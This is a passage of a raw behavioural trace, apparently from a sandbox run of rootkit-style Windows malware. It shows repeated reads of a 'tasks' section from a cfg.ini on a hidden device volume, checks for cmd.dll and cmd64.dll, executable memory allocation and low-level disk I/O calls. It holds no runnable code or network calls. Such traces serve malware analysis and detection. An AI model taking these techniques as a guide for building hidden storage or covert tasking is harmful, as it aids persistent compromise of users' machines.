Tag=0x0) [0117.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.317] KeLeaveCriticalRegion () [0117.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.317] ReleaseMutex (hMutex=0xf0) returned 1 [0117.317] Sleep (dwMilliseconds=0x927c0) [0117.337] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.337] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.338] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.338] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.338] KeEnterCriticalRegion () [0117.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.338] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.338] IdePortDispatch () returned 0x103 [0117.338] KeWaitForMutexObject () returned 0x0 [0117.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28790 [0117.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.338] KeLeaveCriticalRegion () [0117.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.338] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.338] KeEnterCriticalRegion () [0117.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.338] KeLeaveCriticalRegion () [0117.338] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.338] KeEnterCriticalRegion () [0117.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.338] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.338] IdePortDispatch () returned 0x103 [0117.339] KeWaitForMutexObject () returned 0x0 [0117.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.339] KeLeaveCriticalRegion () [0117.339] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.339] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.339] KeEnterCriticalRegion () [0117.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8b000 [0117.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.339] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.339] IdePortDispatch () returned 0x103 [0117.339] KeWaitForMutexObject () returned 0x0 [0117.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.339] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.339] IdePortDispatch () returned 0x103 [0117.339] KeWaitForMutexObject () returned 0x0 [0117.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] KeLeaveCriticalRegion () [0117.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.340] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.340] KeEnterCriticalRegion () [0117.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] KeLeaveCriticalRegion () [0117.340] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.340] KeEnterCriticalRegion () [0117.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c17f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] KeLeaveCriticalRegion () [0117.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.340] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.340] KeEnterCriticalRegion () [0117.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] ExFreePoolWithTag (P=0xfffffa8003b28790, Tag=0x0) [0117.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.340] KeLeaveCriticalRegion () [0117.340] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.341] ReleaseMutex (hMutex=0xf0) returned 1 [0117.341] Sleep (dwMilliseconds=0x927c0) [0117.396] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.396] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.396] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.396] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.396] KeEnterCriticalRegion () [0117.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.396] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.396] IdePortDispatch () returned 0x103 [0117.396] KeWaitForMutexObject () returned 0x0 [0117.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.396] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.396] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.396] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.396] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.396] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.396] KeLeaveCriticalRegion () [0117.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.396] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.396] KeEnterCriticalRegion () [0117.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.396] KeLeaveCriticalRegion () [0117.397] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.397] KeEnterCriticalRegion () [0117.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.397] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.397] IdePortDispatch () returned 0x103 [0117.397] KeWaitForMutexObject () returned 0x0 [0117.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.397] KeLeaveCriticalRegion () [0117.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.397] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.397] KeEnterCriticalRegion () [0117.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c98000 [0117.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.397] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.397] IdePortDispatch () returned 0x103 [0117.397] KeWaitForMutexObject () returned 0x0 [0117.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.398] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.398] IdePortDispatch () returned 0x103 [0117.398] KeWaitForMutexObject () returned 0x0 [0117.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.398] KeLeaveCriticalRegion () [0117.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.398] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.399] KeEnterCriticalRegion () [0117.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] KeLeaveCriticalRegion () [0117.399] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.399] KeEnterCriticalRegion () [0117.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.399] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d4770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] KeLeaveCriticalRegion () [0117.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.399] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.399] KeEnterCriticalRegion () [0117.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] KeLeaveCriticalRegion () [0117.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.399] ReleaseMutex (hMutex=0xf0) returned 1 [0117.399] Sleep (dwMilliseconds=0x927c0) [0117.415] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.415] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.415] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.415] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.415] KeEnterCriticalRegion () [0117.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.415] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.415] IdePortDispatch () returned 0x103 [0117.415] KeWaitForMutexObject () returned 0x0 [0117.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.416] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.416] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.416] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.416] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.416] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d4860 [0117.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.416] KeLeaveCriticalRegion () [0117.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.416] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.416] KeEnterCriticalRegion () [0117.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.416] KeLeaveCriticalRegion () [0117.416] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.416] KeEnterCriticalRegion () [0117.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.416] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.416] IdePortDispatch () returned 0x103 [0117.416] KeWaitForMutexObject () returned 0x0 [0117.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.416] KeLeaveCriticalRegion () [0117.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.416] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.417] KeEnterCriticalRegion () [0117.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9d000 [0117.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.417] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.417] IdePortDispatch () returned 0x103 [0117.417] KeWaitForMutexObject () returned 0x0 [0117.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.417] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.417] IdePortDispatch () returned 0x103 [0117.417] KeWaitForMutexObject () returned 0x0 [0117.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.417] KeLeaveCriticalRegion () [0117.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.418] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.418] KeEnterCriticalRegion () [0117.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] KeLeaveCriticalRegion () [0117.418] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.418] KeEnterCriticalRegion () [0117.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.418] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d4920, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] KeLeaveCriticalRegion () [0117.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.418] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.418] KeEnterCriticalRegion () [0117.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] ExFreePoolWithTag (P=0xfffffa80039d4860, Tag=0x0) [0117.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] KeLeaveCriticalRegion () [0117.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.418] ReleaseMutex (hMutex=0xf0) returned 1 [0117.418] Sleep (dwMilliseconds=0x927c0) [0117.434] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.434] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.434] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.434] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.434] KeEnterCriticalRegion () [0117.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.435] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.435] IdePortDispatch () returned 0x103 [0117.435] KeWaitForMutexObject () returned 0x0 [0117.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.435] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.435] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9c20 [0117.435] 